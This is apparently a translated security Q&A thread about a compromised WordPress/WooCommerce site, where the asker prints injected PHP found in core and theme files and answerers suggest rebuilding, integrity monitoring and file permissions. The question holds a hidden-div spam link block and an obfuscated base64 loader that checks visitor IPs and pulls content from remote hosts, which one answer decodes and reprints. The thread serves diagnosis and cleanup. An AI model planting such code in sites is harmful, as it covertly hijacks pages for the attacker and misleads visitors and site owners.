Come impedire l'aggiunta di codice dannoso, trovato nel sito Web di WordPress compromesso?

6

Ho un sito web creato usando WordPress e ho usato WooCommerce come plugin per il carrello. Recentemente l'ho trovato compromesso, in quanto ha risposto a una richiesta AJAX con un codice HTML, che dovrebbe ricevere un oggetto JSON come risposta. Mentre controllo i file di origine, nessun file è stato sostituito, ma ho trovato alcuni codici insoliti aggiunti alla fine all'interno di 4 file php, tra cui

  • wp-blog-header.php nella directory root
  • bookmark.php nella directory wp-include
  • header.php e footer.php nella directory dei temi

Di seguito è riportato il codice che ho trovato.

echo '<html>
<div style=\'left: -3565px; position: absolute; top: -4812px\'>
<a href="http://pdfagent.info/Youth-Soccer-Jerseys-Wholesale.html">Youth Soccer Jerseys Wholesale</a> 
<a href="http://ryanarnoldrocks.com/Buy-NFL-Jerseys-Wholesale.html">Buy NFL Jerseys Wholesale</a> 
<a href="http://bodywrapsofplano.com/Cheap-Raider-Jerseys.html">Cheap Raider Jerseys</a> 
<a href="http://mobilfotosplus.com/Coach-Canada-Stores-Online.html">Coach Canada Stores Online</a> 
<a href="http://www.officialauthenticcoltsshop.com/Super-Bowl-Andrew-Luck-Jersey">Womens Andrew Luck Limited Super Bowl Jersey</a> 
<a href="http://picklex20.com/Jerseys-For-Cheap.html">Jerseys For Cheap</a> 
<a href="http://sevyamultimedia.com/Cheap-Youth-Soccer-Jerseys.html">Cheap Youth Soccer Jerseys</a> 
<a href="http://www.rdbutlerlaw.com/Cycling-Jerseys-Cheap.html">Cycling Jerseys Cheap</a> 
<a href="http://www.patriotsauthenticofficialonline.com/Super-Bowl-Rob-Gronkowski-Jersey">Kids Rob Gronkowski Pink Jersey</a> 
<a href="http://www.suehenry.biz/Coach-Handbags-Marketing-Strategy.html">Coach Handbags Marketing Strategy</a> 
<a href="http://seo-toronto.net/Coach-Purses-Numbers.html">Coach Purses Numbers</a> 
<a href="http://wegototheo.com/Wholesale-Baseball-Jerseys.html">Wholesale Baseball Jerseys</a> 
<a href="http://www.seahawksofficialonlinestore.com/Super-Bowl-Bobby-Wagner-Jersey">Youth Bobby Wagner Seahawks Jersey</a> 
<a href="http://kitf.org/Coach-Glasses-Outlet.html">Coach Glasses Outlet</a> 
<a href="http://www.nflpackersofficialstore.com/Super-Bowl-Randall-Cobb-Jersey">Randall Cobb Navy Super Bowl Jersey</a> 
<a href="http://rncsolutions.com/Cheap-Hockey-Jerseys-China.html">Cheap Hockey Jerseys China</a> 
<a href="http://www.qualityhomeservices.com/Coach-Factory-Kenosha-Wi.html">Coach Factory Kenosha Wi</a> 
<a href="http://www.proland.com/Wholesale-Hockey-Jerseys.html">Wholesale Hockey Jerseys</a> 
<a href="http://www.tamarinent.com/Buy-Jerseys-Cheap.html">Buy Jerseys Cheap</a> 
<a href="http://www.masterthedashdiet.com/Cheap-Dallas-Stars-Jerseys.html">Cheap Dallas Stars Jerseys</a> 
<a href="http://www.pappasdelaney.com/Cheap-Kids-NFL-Jerseys.html">Cheap Kids NFL Jerseys</a> 
<a href="http://pourlespme.com/Cheap-Baseball-Jerseys-From-China.html">Cheap Baseball Jerseys From China</a> 
<a href="http://studiovideo.com/Coach-Factory-National-Harbor.html">Coach Factory National Harbor</a> 
</div></html>'; 

E ho trovato il seguente codice che non è wordpress.

function q0($h1){$w2=curl_init();curl_setopt($w2,CURLOPT_URL,$h1);curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);$i3=curl_exec($w2);return $i3;}$h1=base64_decode('aHR0cDovL3d3dy5ncmVlbmhlYXJ0dWFlLmNvbS93cC1pbmNsdWRlcy9saWNlbnNlLnR4dA==');$d4=file_get_contents(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('Lw==') ||$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('L2luZGV4LnBocA==')){if($d4){if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo file_get_contents($h1);exit;}}else{$d4=q0(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo q0($h1);exit;}}}

Ho ripulito quei file e ho cambiato le password di wp-admin, cPanel e FTP, ma il codice precedente è apparso in quei file, ma questa volta con link diversi.

Sto ancora cercando di capire se c'è uno script all'interno del server che sfrutta i file sorgente.

Ci sono dei plugin o qualcosa che dovrei usare per impedirlo?

    
posta Shehan Thamel 07.02.2015 - 07:06
fonte

3 risposte

2

Il fatto che il codice che è stato inserito nel tuo sito mette specificamente link in un div allo schermo mi porta a credere che questo è il lavoro di un truffatore SEO che sta sfruttando una vulnerabilità che è più probabile che sia in uno di i tuoi plugin o forse nelle impostazioni dei commenti. Se hai plug-in che non hanno avuto aggiornamenti da molto tempo potrebbero essere un buon posto per iniziare a cercare.

Un po 'di opzione nucleare è scaricare una nuova copia di WordPress e qualsiasi plugin che non hai personalizzato. Inoltre, vorrai avere una copia pulita di tutto ciò che è personalizzato (incluso il tuo tema e qualsiasi plugin personalizzato). Si spera che tu abbia backup automatici del tuo database perché probabilmente dovrai ripristinare anche questo.

Dopo esserti assicurato di avere una versione pulita dell'intero sito, devi scegliere un po 'di tempo per cancellare il tuo sito e caricare la versione pulita. Dico cancella il tuo sito perché il caricamento della versione pulita non sovrascrive i file aggiuntivi che potrebbero nascondersi da qualche parte.

A seconda della tua connessione Internet (e della dimensione del tuo sito), puoi farlo in tempi relativamente brevi.

Se disponi di un ampio archivio di immagini caricate (ecc.) che rappresenterà la parte più fastidiosa di questa opzione nucleare perché è la parte meno probabile del tuo sito da sottoporre a backup. Puoi scegliere di lasciare i tuoi caricamenti sul posto e sperare che non ci siano file dannosi. Se hai eseguito l'atomizzazione di tutto tranne i tuoi caricamenti e hai scoperto che il problema persiste, potresti aver isolato il problema in quella cartella, ma non è la posizione più probabile.

Ovviamente dovresti anche cambiare tutte le password degli amministratori (non so quanti utenti hai, ma potrebbe essere necessario estenderli a tutti gli utenti).

Alla fine, anche il nuking / ricostruzione del tuo intero sito non è ancora garantito perché potrebbe esserci una vulnerabilità in uno dei tuoi plug-in che deve ancora essere riparato.

EDIT:

Questa è la funzione che hai postato dopo che è stata decodificata e rientrata per readablilty

function q0($h1)
{
    $w2=curl_init();
    curl_setopt($w2,CURLOPT_URL,$h1);
    curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);
    $i3=curl_exec($w2);
    return $i3;
}
$h1=http://www.greenheartuae.com/wp-includes/license.txt;
$d4=file_get_contents('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
if($_SERVER['REQUEST_URI']=='/' ||$_SERVER['REQUEST_URI']=='/index.php')
{
    if($d4)
    {
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo file_get_contents($h1);
            exit;
        }
    }
    else
    {
        $d4=q0('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo q0($h1);
            exit;
        }
    }
}

Come puoi vedere, sta usando cURL per estrarre alcuni dati da un altro server. Molto probabilmente i dati sono i link che stai vedendo ed è per questo che i link possono cambiare. La natura dei link mi riporta alla mia ipotesi originale che questo è il lavoro di un truffatore SEO in cerca di link back (anche se potrebbe ancora essere un trucco per qualcos'altro). Inoltre, puoi vedere gli indirizzi web a cui sta collegando. Uno dei siti sembra essere un altro sito WordPress, mentre l'altro è stato catturato dal mio antivirus ed è chiaramente una cattiva notizia.

    
risposta data 10.04.2015 - 20:54
fonte
0

Quello che vuoi fare è trovare un modo per controllare se i file vengono modificati sul sistema. Per fare ciò è necessario disporre di un processo che verifichi l'integrità dei file in modo tempestivo, tramite 1. un monitor di integrità dei file come tripwire, 2. un processo come auditd che è agganciato al kernel, o 3. altri processo che non assomiglia a nessuno dei metodi tradizionali qui.

Una volta modificato, avrai il compito non invidiabile di scoprire quale utente l'ha fatto, se proviene da un altro metodo diverso dal web o da qualcos'altro.

    
risposta data 07.02.2015 - 07:37
fonte
0

Potrebbe non aiutarti a capire cosa ha fatto questa azione, ma potresti presumere che provenga dal server web (possibilmente PHP).

Ciò che puoi fare è proteggere questo file contro la modifica, chmoding la sola lettura e assegnarli a un utente che non è l'utente del server web.

Ad esempio, su una macchina Linux, potresti fare qualcosa del tipo:

chown root:root *.php
chmod 644 *.php

Ciò impedirà a un hacker di modificare questo file dal server web e può essere usato come protezione temporanea mentre si investiga il problema.

    
risposta data 08.04.2015 - 12:40
fonte

Leggi altre domande sui tag